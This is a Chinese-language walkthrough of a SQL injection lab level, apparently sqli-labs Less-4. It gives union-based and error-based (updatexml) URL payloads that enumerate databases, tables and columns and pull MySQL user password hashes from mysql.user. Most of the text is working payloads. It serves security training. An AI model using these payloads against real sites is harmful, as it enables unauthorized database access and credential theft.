「作者简介」:冬奥会网络安全中国代表队,CSDN Top100,就职奇安信多年,以实战工作为基础著作 《网络安全自学教程》,适合基础薄弱的同学系统化的学习网络安全,用最短的时间掌握最核心的技术。
第四关是双引号+括号的字符型注入,推荐使用联合注入、报错注入
方式一:联合注入
参考文章:联合注入使用详解 原理+步骤+实战教程
第一步、判断注入类型
地址栏输入 ?id=1") and 1 -- a,页面正常显示
地址栏输入 ?id=1") and 0 -- a,页面异常(空)显示
第二步、判断字段数
地址栏依次输入:
?id=1") order by 1 -- a
?id=1") order by 2 -- a
?id=1") order by 3 -- a
?id=1") order by 4 -- a
按照第4个字段排序时报错,确定返回结果的字段数为 3
第三步、判断显示位
地址栏输入 ?id=-1") union select 1,2,3 -- a
第四步、脱库
获取所有数据库,地址栏输入:
?id=-1") union select 1,(
select group_concat(schema_name)
from information_schema.schemata
),3 -- a
获取 security 库的所有表,地址栏输入:
?id=-1") union select 1,(
select group_concat(table_name)
from information_schema.tables
where table_schema = 'security'
),3 -- a
获取 users 表的所有字段,地址栏输入:
?id=-1") union select 1,(
select group_concat(column_name)
from information_schema.columns
where table_schema = 'security' and table_name = 'users'
),3 -- a
获取数据库用户的密码,地址栏输入:
?id=-1") union select 1,(
select group_concat(user,password)
from mysql.user
where user='mituan'
),3 -- a
方式二:报错注入
参考文章:报错注入使用详解 原理+步骤+实战教程
第一步、判断是否报错
地址栏输入 ?id=1"
页面显示数据库的报错信息,适合使用报错注入。
第二步、判断报错条件
地址栏输入 ?id=1") and updatexml(1,0x7e,3); -- a
页面正常显示报错信息,确定报错函数可以使用。
第三步、脱库
获取所有数据库,地址栏输入:
?id=1") and updatexml(1,concat(0x7e,
substr((
select group_concat(schema_name)
from information_schema.schemata
),33,31)
),3); -- a
获取 security 库的所有表,地址栏输入:
?id=1") and updatexml(1,concat(0x7e,
substr((
select group_concat(table_name)
from information_schema.tables
where table_schema='security'
),1,31)
),3); -- a
获取 suers 表的所有字段,地址栏输入:
?id=1") and updatexml(1,concat(0x7e,
substr((
select group_concat(column_name)
from information_schema.columns
where table_schema='security' and table_name='users'
),1,31)
),3); -- a
获取数据库用户的密码,地址栏输入:
?id=1") and updatexml(1,concat(0x7e,
substr((
select password
from mysql.user
where user='mituan'
),1,31)
),3); -- a